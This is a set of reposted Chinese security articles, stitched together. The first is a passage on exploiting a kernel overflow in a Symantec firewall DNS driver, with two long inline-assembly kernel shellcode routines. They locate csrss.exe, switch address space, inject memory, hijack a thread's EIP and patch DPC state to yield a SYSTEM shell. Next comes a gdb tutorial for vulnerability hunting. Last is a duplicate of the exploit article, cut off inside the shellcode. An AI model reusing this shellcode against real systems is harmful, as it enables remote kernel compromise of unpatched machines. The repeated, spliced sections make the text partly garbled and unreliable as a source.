KernelStackResident)是否为TRUE，为TRUE表示该线程内核堆栈未被换出内存。这又关系到究竟该选择哪个系统进程，选择系统进程这样返回的SHELL是SYSTEM的权限，该进程必须是个活跃的进程，才能保证每时每刻都有未被换出内存的线程。winlogon.exe是肯定不行的，因为在大多情况下这是一个0工作集的空闲进程。在lsass.exe、smss.exe、csrss.exe这3个进程里我最后选择了csrss.exe，因为想想看WIN32的子系统无论怎样都应该闲不住吧:)，事实也证明选择这个进程基本都可以找到合适线程。枚举一个进程的线程可以在EPROCESS+0x50处取链表头，该链表链住了该进程的所有线程，链表位置在ETHREAD+0x1a4处：
struct _EPROCESS (sizeof=648)
+000 struct _KPROCESS Pcb
+050 struct _LIST_ENTRY ThreadListHead
+050 struct _LIST_ENTRY *Flink
+054 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+000 struct _KTHREAD Tcb
+1a4 struct _LIST_ENTRY ThreadListEntry
+1a4 struct _LIST_ENTRY *Flink
+1a8 struct _LIST_ENTRY *Blink
或者EPROCESS+0x270处取链表头，链表位置在ETHREAD+0x240处：
struct _EPROCESS (sizeof=648)
+270 struct _LIST_ENTRY ThreadListHead
+270 struct _LIST_ENTRY *Flink
+274 struct _LIST_ENTRY *Blink
struct _ETHREAD (sizeof=584)
+240 struct _LIST_ENTRY ThreadListEntry
+240 struct _LIST_ENTRY *Flink
+244 struct _LIST_ENTRY *Blink
剩下的就是在该进程地址空间内分配虚拟地址，锁定，并拷贝SHELLCODE过去，依次调用API为：ZwOpenProcess(这里要注意，如果没改变CR3的话这个调用会导致蓝屏，因为地址空间不符)->ZwAllocateVirtualMemory->ZwLockVirtualMemory->ZwWriteVirtualMemory，为了通用性我用mov eax, API NUMBER; int 2e这样的底层接口来调用API。在调用ZwWriteVirtualMemory之前我们得先修改该线程下次要执行的EIP，它是保存在KTRAP_FRAME+0x68处，把它修改为我们分配的地址。KTRAP_FRAME在线程堆栈底InitialStack-x29c的地方，ETHREAD+0x128直接指向该地址。记得将原来的EIP保存在我们的用户态SHELLCODE中，类似push 0x12345678; ret这样的格式，代码就会返回12345678的地址，所以在内存中就是x68x78x56x34x12xc3，将原来的返回地址覆盖那个12345678就行了，在执行完我们的功能代码后线程会恢复正常执行。
最后一段是一些固定的针对该漏洞的特征返回，主要是取出未被覆盖的返回地址并让EBP恢复正常，并设置特定的寄存器值以满足返回后的检测条件。这里我跳过了所有剩下的在SYMDNS.SYS的调用，因为那些函数都会从堆栈中取值，而堆栈值很多都被我们改了，所以我直接返回到tcpip!UDPDeliver处的调用，返回这里有个好处，就是它完全不管你处理了什么、怎么处理，它只管检测返回值eax是否为0，很符合我们的要求，呵呵。
这个SHELLCODE大概只有3/4的成功率，因为在有些情况下我们的DNS报文的地址不附加在esp+0xc处，还有有时会碰到进程所有线程都被换出了内存，还有一定的小概率会发生NDIS死锁-_-有时候RP爆发时一天都没啥问题，有时虚拟机狂蓝屏。。。。有关内核溢出里最大的问题估计就是缺页的问题了，由于IRQL = 2下不能换页，所以有些情况下很可能有些关键的地方访问不了。一些变通的方法可以使用诸如work item，这可以在IRQL = 2下调用，然后由系统工作者线程来替我们完成工作。这都是些改进设想。

SHELLCODE由内核SHELLCODE和用户SHELLCODE组成，内核SHELLCODE负责返回并执行用户SHELLCODE，用户SHELLCODE则是普通的功能，注意得加入穿防火墙的代码就行。下面是内核SHELLCODE代码，没提供完整的SHELLCODE，因为一是只是为了技术研究，而是不想被那些对技术一窍不通却只想着破坏的人利用。转成机器码只有230多个字节，基本不算太大:)：

__declspec(naked) JustTest()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebx, 0xffdff55c
mov ebx, dword ptr [ebx]
mov ebx, dword ptr [ebx+0x44]
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov edx, dword ptr [ebx+0x50]
FindThread:
movzx ecx, byte ptr [edx-0x86]
dec ecx
jecxz go3
mov edx, dword ptr [edx]
jmp FindThread
go3:
mov eax, dword ptr [ebx+0x18]
mov ebp, esp
sub esp, 0x40
push edx
mov cr3, eax
push 0x10
pop ecx
xor eax, eax
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [edx+0x3c]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx-0x7c]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x210]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x11c
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]

mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x100
xor eax, eax
mov esi, dword ptr [esp+0x38]
mov ebp,esp
add ebp,0x88
ret 0x2c
}
}
非安全返回法二
没实现非安全返回法一，因为里面的技术要点都包括在安全返回法和非安全返回法二里了，而且限制实在太大，很让人不爽。主要就是那个BAT的下载文件的内容，可以参见相关文章。
正如FLASHSKY所说，非安全返回法二的关键在于恢复DPC，不象安全返回法，我们完全不必关心线程切换和DPC调度。不过FLASHSKY夸大了DPC被破坏的情况，尤其是环境切换，就算在安全返回法里，在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的，以下是KPCR结构中涉及到DPC调度的部分：
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种，一种是把KDPC对象串上DpcListHead。在KiIdleLoop或KiDispatchInterrupt里，系统检测到当前DPC链表不为空，于是调用KiRetireDpcList，KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员，显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE，然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象，DPC调度发生的频率是相当高的，但大部分时间都是处理定时器KTIMER过期DPC，很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法，我们处于DPC调度中，DpcRoutineActive和DpcInterruptRequested都为TRUE，进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以，在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复，但就会降低溢出的成功率，因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏)。其实系统中有些蓝屏是系统有意调用KeBugCheck以防止你做某些事，这些事情如果你处理得好是不会对系统产生影响的，比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换，但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能，就是我们对内核感兴趣的原因，能够控制整个操作系统真的很爽，扯远了，呵呵。恢复DPC有个技巧，既然上一次KiIdleLoop的调用是KiRetireDpcList，那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令：
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行，下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空，但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了，切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚，加上0x2d，使它变为调用了SwapContext后的下一条指令：
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了，DPC调度可以继续进行了。
恢复DPC我们有两种选择，一是将当前DPC跳过，二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便，可以省下不少代码，也是我使用的方法，不过有一个小问题，就是无法再PING通，会产生网络已被中断的错觉，其实网络是通的，SHELL也拿得到。第二种方法虽然网络功能一切正常，不过远程的机器会出现一些异常，比如开始菜单无法再用，当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁，该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方，所以可以很安全取到。
下一步就是进行环境切换，要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处，把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处，并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp，记住，从这里开始我们已经处于新线程的堆栈中了，如果你之前有什么重要的信息压在IDLE线程的堆栈里，赶快在切换ESP前出栈吧。还有一点很重要的是，由于我们是强行把一个处于等待状态的线程进行环境切换并运行(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了，其机率快可以比上抽六合彩了)，就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别，前者是处于等待状态且内核栈未被换出的线程链表，而后者是处于等待状态且内核堆栈已被换出的线程链表)，否则就会在KiOutSwapKernelStack处发生死循环。最后就是直接返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的)，系统就会接管工作了(这里需要提出的是，其实IDLE线程自从被赋于KPCR+0x128并被改为待命后，早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能，再环境切换，结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g，系统都一切正常，但如果直接g或者干脆前面就没下过断点那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题，结果被郁闷了N次，主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈，而后面又直接修改回正常值(IDLE的KernelStack, 在ETHREAD+0x28处，是个不变的值，不修改的话调度后会返回到错误的回址)，估计问题发生在这里，所以我把SHELLCODE前后结构改了，先环境切换再完成其它功能，这样不会再干预IDLE的内核栈，事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本，把所有可有可无的代码全去掉了，比如修改KPCR中某些不会用到的成员的代码全去掉了，甚至连线程状态都没改，还是保持在等待状态，反正系统正常环境切换也不会检测正在运行的线程是什么状态，呵呵。
下面是内核SHELLCODE代码，转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概350个字节。这段代码是在池中执行的，换成在堆栈中执行时记得把里面一些关于堆栈的偏移地址修正一下：
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
mov ebx, dword ptr [ebx+0x44]
xor eax, eax
push 0x73727363
FindProcess:
mov edi, esp
lea esi, dword ptr [ebx+0x1fc]
push 0x4
pop ecx
repe cmpsb
jecxz go2
mov ebx, dword ptr [ebx+0xa0]
sub ebx, 0xa0
jmp FindProcess
go2:
pop edx
mov dword ptr [ebp], eax
mov esi, dword ptr [esp+0x33c]
mov byte ptr [esi+0x2d], al
lea esi, dword ptr [ebx+0x50]
FindThread:
mov esi, dword ptr [esi]
test byte ptr [esi-0x86], 0x1
jnz go3
jmp FindThread
go3:
mov edx, dword ptr [ebx+0x18]
sub esi, 0x1a4
mov ebx, 0xffdff000
// lea ecx, dword ptr [ebp-0xc]
mov ebp, dword ptr [ebx+0x124]
mov dword ptr [ebx+0x128], ebp
inc byte ptr [ebp+0x2d]
mov edi, dword ptr [ebp+0x28]
add dword ptr [edi+0x8], 0x2d
// mov ebp, dword ptr [edi-0x8]
// add ebp, 0x4
// mov edi, dword ptr [ecx]
// mov dword ptr [edi], ebp
// mov dword ptr [ebp+4], edi
// mov dword ptr [ecx], ebp

mov dword ptr [ebx+0x124], esi
mov cl, byte ptr [esi+0x2c]
mov byte ptr [ebx+0x50], cl
mov ebp, dword ptr [esi+0x5c]
mov edi, dword ptr [esi+0x60]
mov dword ptr [edi], ebp
mov dword ptr [ebp+0x4], edi
pop edi
push dword ptr [esi+0x1c]
pop dword ptr [ebx+0x8]
mov esp, dword ptr [esi+0x28]
mov ecx, dword ptr [esi+0x20]
mov dword ptr [ebx+0x18], ecx
mov ebp, dword ptr [ebx+0x3c]
mov word ptr [ebp+0x3a], cx
shr ecx, 0x10
mov byte ptr [ebp+0x3c], cl
shr ecx, 0x8
mov byte ptr [ebp+0x3f], cl
mov ebp, dword ptr [ebx+0x40]
mov dword ptr [ebp+0x1c], edx
mov cr3, edx
push edi
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push 0x10
pop ecx
lea edi, dword ptr [ebp-0x40]
ZeroStack:
stosd
loop ZeroStack
mov byte ptr [ebp-0x38], 0x18
lea edi, dword ptr [esi+0x1e0]
push edi
lea edi, dword ptr [ebp-0x38]
push edi
lea edi, dword ptr [ebp-0x8]
push 0x1f0fff
push edi
mov al, 0x6a
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov byte ptr [ebp-0x3], 0x2
push 0x40
push 0x1000
lea edi, dword ptr [ebp-0x4]
push edi
push eax
lea edi, dword ptr [ebp-0xc]
push edi
push dword ptr [ebp-0x8]
mov al, 0x10
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x18
push 0x2
lea ebx, dword ptr [ebp-0x4]
push ebx
lea ebx, dword ptr [ebp-0xc]
push ebx
push dword ptr [ebp-0x8]
mov al, 0x59
lea edx, dword ptr [esp]
int 0x2e
add esp, 0x10
mov edi, dword ptr [ebp]
pop edx
mov edx, dword ptr [edx+0x128]
push dword ptr [edx+0x68]
pop dword ptr [edi+0x1a0]
push dword ptr [ebp-0xc]
pop dword ptr [edx+0x68]
add edi, 0x19a
push eax
push 0x120
push edi
push dword ptr [ebp-0xc]
push dword ptr [ebp-0x8]

mov al, 0xf0
lea edx, dword ptr [esp]
int 0x2e
mov ebx, dword ptr [esp+0x14]
add esp, 0x5c
pop ecx
mov dword ptr [ebx], ecx
popfd
ret
}
}
//后的代码是用于第二种DPC恢复的。
后记：

内核溢出是一个全新的领域，里面有很多东西值得我们去探索。这篇文章就算是抛砖引玉，如果能给大家有所帮助，也就算达到目的了。很多地方都有很多不足，尤其是非安全返回法，还没找到能让系统完全恢复原样的方法。如果有什么错漏处或者可以改进的地方，欢迎向我提出。


[转载]浅谈gdb在漏洞发掘中的使用

文章作者：s5Eal
信息来源：www.ph4nt0m.org
浅谈gdb在漏洞发掘中的使用
[-== 翻译整理 s5Eal[at]ph4nt0m.org ==-]
[#== HP:_blank>http://www.ph4nt0m.org ==#]
[#===EMAIL:realbruce@163.com===#]
[data]:2005-01-03 ^_^
出处：2KCKI.html" target=_blank>http://www.securiteam.com/securityr...5UP0B2KCKI.html
现在越来越多的人开始学习缓冲区溢出方面的原理和应用，这是一件好事，我们在使用别人写的Exploit去Hacker这儿Hacker那儿的时候，应该努力做到知其然，知其所以然。但是很多人在看了几篇即使是看上去很简单的栈溢出方面的文章后便敲起了退堂鼓，因为通篇大量gdb调试的命令和汇编代码让学习看上去变得枯燥无比，但是这方面知识的学习就是这样的。我写这篇文章的目的是总结一下在漏洞发掘中常用的一些gdb命令，降低一下新手入门时的门槛，希望能对大家有所帮助。这篇文章与一般的介绍gdb使用的文章有一定区别，因为那些文章的侧重点是使用gdb去调试一般的应用程序，而本文的则偏重于使用gdb去发掘漏洞时候常用的一些命令。鉴于本人大愚若智，本文如有疏漏之处，敬请mail to me.
运行 gdb
在 shell中，可以使用 'gdb' 命令并指定程序名作为参数来运行 gdb，例如 ‘gdb ./vuln'或者直接是‘gdb vuln’；或者在 gdb 中，可以使用 file 命令来装入要调试的程序，例如 'file vuln'。这两种方式都假设您是在包含程序的目录中执行命令。如果是为了调试core文件，则应用命令‘gdb `executable-file` `core-file`’，例如‘gdb ./vuln core’,如果系统不生成core文件，则可以使用命令‘ulimit -c 9999’打开这个功能。装入程序之后，可以用 gdb 命令 'run' 来启动程序。
绑定一个已有的进程
在shell中，一般使用ps －ax命令来查看目前系统里正在run的所有进程，最前面的一列就是对应的进程号，在gdb里我们可以这样绑定一个正在run的程序进行调试，首先利用上面的那个命令取得进程号，然后打开gdb：
[s5Eal@Heart]# gdb
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux".
(gdb) attach 734 <-你要调试的程序的进程号
Attaching to process 734
查询内存
(gdb) x/d ‘地址’ 或者 x '地址' 显示10进制内容
(gdb) x/100s '地址' 显示由此地址开始的100个字节的十进制内容
(gdb) x 0x0804846c 显示0x0804846c处的十进制内容
(gdb) x/s '地址' 显示此地址内容对应的字符串
(gdb) x/105 0x0804846c 显示0x0804846c处开始的105个字节对应的字 符串内容
(gdb) x/x '地址' 显示16进制的地址内容
(gdb) x/10x 0x0804846c 显示0x0804846c处开始的10个字节的地址内容
(gdb) x/b 0x0804846c 显示0x0804846c处一个byte的内容
(gdb) x/10b 0x0804846c-10 显示0x0804846c-10处10个byte的内容
(gdb) x/10b 0x0804846c+20 显示0x0804846c+20处20个byte的内容
(gdb) x/20i 0x0804846c 显示0x0804846c 处开始的20个汇编指令的内容
显示可执行文件的所有分段的地址
(gdb) maintenance info sections 或者
(gdb) mai i s
例子：
[s5Eal@lHeart]# gdb vul
GNU gdb Red Hat Linux (5.2.1-4)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) maintenance info sections
Exec file:
`/root/vul', file type elf32-i386.
0x080480f4->0x08048107 at 0x000000f4: .interp ALLOC LOAD READONLY DATA HAS_C
ONTENTS
0x08048108->0x08048128 at 0x00000108: .note.ABI-tag ALLOC LOAD READONLY DATA
HAS_CONTENTS
0x08048128->0x08048158 at 0x00000128: .hash ALLOC LOAD READONLY DATA HAS_CON
TENTS
0x08048158->0x080481c8 at 0x00000158: .dynsym ALLOC LOAD READONLY DATA HAS_C
ONTENTS
0x080481c8->0x08048222 at 0x000001c8: .dynstr ALLOC LOAD READONLY DATA HAS_C
ONTENTS
0x08048222->0x08048230 at 0x00000222: .gnu.version ALLOC LOAD READONLY DATA
HAS_CONTENTS
0x08048230->0x08048250 at 0x00000230: .gnu.version_r ALLOC LOAD READONLY DAT
A HAS_CONTENTS
0x08048250->0x08048258 at 0x00000250: .rel.dyn ALLOC LOAD READONLY DATA HAS_
CONTENTS
0x08048258->0x08048278 at 0x00000258: .rel.plt ALLOC LOAD READONLY DATA HAS_
CONTENTS
0x08048278->0x08048290 at 0x00000278: .init ALLOC LOAD READONLY CODE HAS_CON
TENTS
0x08048290->0x080482e0 at 0x00000290: .plt ALLOC LOAD READONLY CODE HAS_CONT
搜寻heap，bss，got区的内容
(gdb) maintenance info sections
0x08049570->0x08049588 at 0x00000570: .bss ALLOC
0x00000000->0x00000654 at 0x00000570: .stab READONLY HAS_CONTENTS
0x00000000->0x00001318 at 0x00000bc4: .stabstr READONLY HAS_CONTENTS
0x00000000->0x000000e4 at 0x00001edc: comment READONLY HAS_CONTENTS
0x08049588->0x08049600 at 0x00001fc0: .note READONLY HAS_CONTENTS
(gdb) x/1000s 0x08049600 // 显示 heap内容
(gdb) x/1000s 0x08049570 // 显示 bss 内容
...
下断点
(gdb) disassemble main
Dump of assembler code for function main:
0x8048400 <main>: push %ebp
0x8048401 <main+1>: mov %esp,%ebp
0x8048403 <main+3>: sub $0x408,%esp
0x8048409 <main+9>: add $0xfffffff8,%esp
0x804840c <main+12>: mov 0xc(%ebp),%eax
0x804840f <main+15>: add $0x4,%eax
0x8048412 <main+18>: mov (%eax),%edx
0x8048414 <main+20>: push %edx
0x8048415 <main+21>: lea 0xfffffc00(%ebp),%eax
...
(gdb) break *0x8048414
Breakpoint 1 at 0x8048414
(gdb) break main
Breakpoint 2 at 0x8048409
(gdb)
删除断点
(gdb) delete breakpoints // or
(gdb) d b
Delete all breakpoints? (y or n) y
(gdb)
在stack区搜寻shellcode或者返回地址或者其他内容
(gdb) break '函数名或者地址'
(gdb) break main
Breakpoint 1 at 0x8048409
(gdb) run
Starting program: /root/vuln
Breakpoint 1, 0x8048409 in main ()
(gdb) x/1000s '地址' // 打印此地址开始的100个字符串
(gdb) p $esp // 查看寄存器esp的内容
$2 = (void *) 0xbffff454
(gdb) x/1000s $esp // 搜寻从esp开始向后的1000个字符串的内容
(gdb) x/1000s $esp-1000 // 搜寻从esp开始向前面的1000个字符串的内容
(gdb) x/1000s 0xbffff4b4 // 搜寻从0xbffff4b4开始向后的1000个字符串的内容
显示寄存器内容
(gdb) break main
Breakpoint 7 at 0x8048409
(gdb) r
Starting program: /home/hack/homepage/challenge/buf/basic
Breakpoint 7, 0x8048409 in main ()
(gdb) info registers
eax 0x1 1
ecx 0x8048298 134513304
edx 0x8048400 134513664
ebx 0x400f6618 1074751000
esp 0xbffff4b4 0xbffff4b4
ebp 0xbffff8bc 0xbffff8bc
esi 0x4000aa20 1073785376
edi 0xbffff924 -1073743580
eip 0x8048409 0x8048409
eflags 0x286 646
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x0 0
(gdb)
显示动态函数指针地址 (常用在return into libc exploits的构造中):
(gdb) break main
Breakpoint 1 at 0x8048409
(gdb) r
Starting program: /home/hack/homepage/challenge/buf/./basic
Breakpoint 1, 0x8048409 in main ()
(gdb) p system
$1 = {<text variable, no debug info>} 0x40052460 <system>
(gdb) p strcpy
$5 = {char *(char *, char *)} 0x4006e880 <strcpy>
显示堆栈
(gdb) backtrace
(gdb) bt
#0 0x8048476 in main ()
#1 0x40031a5e in __libc_start_main () at ../sysdeps/generic/libc-start.c:93


[转载]SYMANTEC防火墙内核溢出利用之非安全返回法二

文章作者：SoBeIt
信息来源：www.xfocus.net
没实现非安全返回法一，因为里面的技术要点都包括在安全返回法和非安全返回法二里了。主要就是那个BAT的下载文件的内容，可以参见相关文章。这篇文章是建立我之前写过的SYMANTEC防火墙内核溢出利用之安全返回法上的基础上的，若有未详细说明之处可参见前文。
正如FLASHSKY所说，非安全返回法二的关键在于恢复DPC，不象安全返回法，我们完全不必关心线程切换和DPC调度。不过FLASHSKY过分夸大了DPC被破坏的情况，尤其是环境切换，就算在安全返回法里，在执行我们的代码时系统也进行了数次环境切换和DPC调度(在int 0x2e里发生)。先让我们看看一个DPC调度是怎样完成的，以下是KPCR结构中涉及到DPC调度的部分：
+7e0 uint32 DpcInterruptRequested
+7e4 void *ChainedInterruptList
+7e8 uint32 CachePad3[2]
+7f0 uint32 MaximumDpcQueueDepth
+7f4 uint32 MinimumDpcRate
+7f8 uint32 CachePad4[2]
+800 struct _LIST_ENTRY DpcListHead
+800 struct _LIST_ENTRY *Flink
+804 struct _LIST_ENTRY *Blink
+808 uint32 DpcQueueDepth
+80c uint32 DpcRoutineActive
+810 uint32 DpcCount
+814 uint32 DpcLastCount
+818 uint32 DpcRequestRate
+81c void *DpcStack
DPC的处理方法有两种，一种是把KDPC对象串上DpcListHead。在KiIdleLoop里，系统检测到当前DPC链表不为空，于是调用KiRetireDpcList，KiRetireDpcList设置当前DpcRoutineActive状态为TRUE(M$在这里把ESP的值赋与该成员，显然任何时刻ESP都是大于0的)并把DpcInterruptRequested设置为TRUE，然后从DpcListHead里取出串在该链表上的KDPC结构的DPC例程入口和参数。处理完后恢复原状并把DpcCount加一。另一种方法是等待KTIMER调度对象，DPC调度发生的频率是相当高的，但大部分时间都是处理定时器KTIMER过期DPC，很多DPC通过等待KTIMER的方法被在KiTimerExpiration->KiTimerListExpire里处理。这里的溢出是属于第一种方法，我们处于DPC调度中，DpcRoutineActive和DpcInterruptRequested都为TRUE，进行栈回溯就会发现是由KiIdleLoop调用了KiRetireDpcList。显然这两处成员得恢复原来的0值(其实不恢复也可以，在第一个int 0x2e里如果发生了DPC调度后就会帮我们恢复，但就会降低溢出的成功率，因为如果在int 0x2e在ATTACH进程前还没发生DPC调度系统就会蓝屏，蓝屏代码0x)。其实系统中有些蓝屏是系统有意调用以防止你做某些事，这些事情如果你处理得好是不会对系统产生影响的，比如不能在DPC处理处于活动(就是DpcRoutineActive为TRUE)进行环境切换，但在这个漏洞溢出里我们第一步就是进行环境切换:)。所以突破系统对我们的刁难而完成系统本身的功能，就是我们对内核感兴趣的原因，能够控制整个操作系统真的很爽，扯远了，呵呵。恢复DPC有个技巧，既然上一次KiIdleLoop的调用是KiRetireDpcList，那么IDLE线程的KernelStack(ETHREAD+0x28)处的内容肯定指向KiIdleLoop里调用KiRetireDpcList后的下一条指令：
call nt!KiRetireDpcList
cmp dword ptr [ebx+0x128],0x0
如果不改动这里的话环境切换后系统恢复到这里执行，下一步就是判断保存在ebp里的DpcListHead代表的链表是否为空，但由于刚发生完一个环境切换ebp的值已经被修改为KTSS的值了，切换到IDLE线程后肯定出错。所以我们需要人为的对这个地址(指调用KiRetireDpcList后的下一条指令)做点手脚，加上0x2d，使它变为调用了SwapContext后的下一条指令：
call nt!SwapContext
lea ebp,[ebx+0x800]
显然ebp已经恢复了，DPC调度可以继续进行了。
恢复DPC我们有两种选择，一是将当前DPC跳过，二是重新把当前DPC(这里是ndisMDpc)加入DPC链表头准备下一次重新调度。前一种方法的好处是方便，可以省下不少代码，也是我使用的方法，不过有一个小问题，就是无法再PING通，会产生网络已被中断的错觉，其实网络是通的，SHELL也拿得到。第二种方法虽然网络功能一切正常，不过远程的机器会出现一些异常，比如开始菜单无法再用，当然SHELL也一切正常。两种方法的共同点都是必须为前面加锁的NDIS_MINIPORT_BLOCK结构解锁，该结构地址保存在IDLE线程堆栈中距离溢出点距离比较大的地方，所以可以很安全取到。
下一步就是进行环境切换，要切换的线程是我们选择的目标特权进程内内核栈未换出的线程。把要切换的线程赋给KPCR+0x124处，把下一个要切换的线程(IDLE线程)赋于KPCR+0x128处，并把IDLE线程状态(ETHREAD+02d byte State)改为待命(0x3)。然后就是通过改变CR3切换进程地址空间、修改TEB描述符指向新线程TEB、从目标要切换线程中取出KernelStack赋于当前esp，记住，从这里开始我们已经处于新线程的堆栈中了，如果你之前有什么重要的信息压在IDLE线程的堆栈里，赶快在切换ESP前出栈吧。还有一点很重要的是，由于我们是强行把一个处于等待状态的线程进行环境切换(要想找到处于就绪状态且属于目标特权进程的线程实在太考验RP了，其机率快可以比上抽六合彩了)，就必须在等待链表KiWaitInListHead里把该线程摘除(这里说一下KiWaitInListHead和KiWaitOutListHead的区别，前者是处于等待状态且内核栈未被换出的线程链表，而后者是处于等待状态且内核堆栈已被换出的线程链表)，否则就会在KiOutSwapKernelStack处发生死循环。最后就是返回到KiSwapContext(这是该线程上次环境切换时保存在堆栈中的)，系统就会接管工作了(这里需要提出的是，其实IDLE线程自从被赋于KPCR+0x128并被改为待命后，早在第一个int 0x2e就被调度执行了)。
我开始时SHELLCODE的结构是先完成其它功能，再环境切换，结果遇到了个很奇怪的问题。就是在WinDBG里如果单步跟过ZwLockVirtualMemory的int 0x2e再g或者在该int 0x2e后任意处设置一个int 0x3断下来再g，系统都一切正常，但如果直接g或者干脆前面就没断过那么系统就会出现奇怪的问题。我猜想是WinDBG代替完成了一些DPC的调用。我曾经尝试解决这个问题，结果被郁闷了N次，主要是在WinDBG的干预下系统一切正常。后来想到前面几次环境切换和DPC调度都使用了IDLE线程的内核堆栈，而后面又直接修改会正常值(IDLE的KernelStack, 在ETHREAD+0x28处，是个不变的值，不修改的话会返回到错误的地址)，估计问题发生在这里，所以我把SHELLCODE前后结构改了，先环境切换再完成其它功能，这样不会再干预IDLE的内核栈，事实证明这样是正确的:)还有就是我的环境切换代码是一再精简过的SwapContext版本，把所有可有可无的代码全去掉了，比如修改KPCR中某些不会用到的成员的代码全去掉了，甚至连线程状态都没改，还是保持在等待状态，反正系统正常环境切换也不会检测正在运行的线程是什么状态，呵呵。
下面是内核SHELLCODE代码，转换成机器码大概320个字节。如果用第二种恢复DPC的方法大概
350个字节：
__declspec(naked)JustTest2()
{
__asm
{
call go1
go1:
pop eax
push eax
mov ebp, 0xffdff80c
mov ebx, dword ptr [ebp-0x2b0]
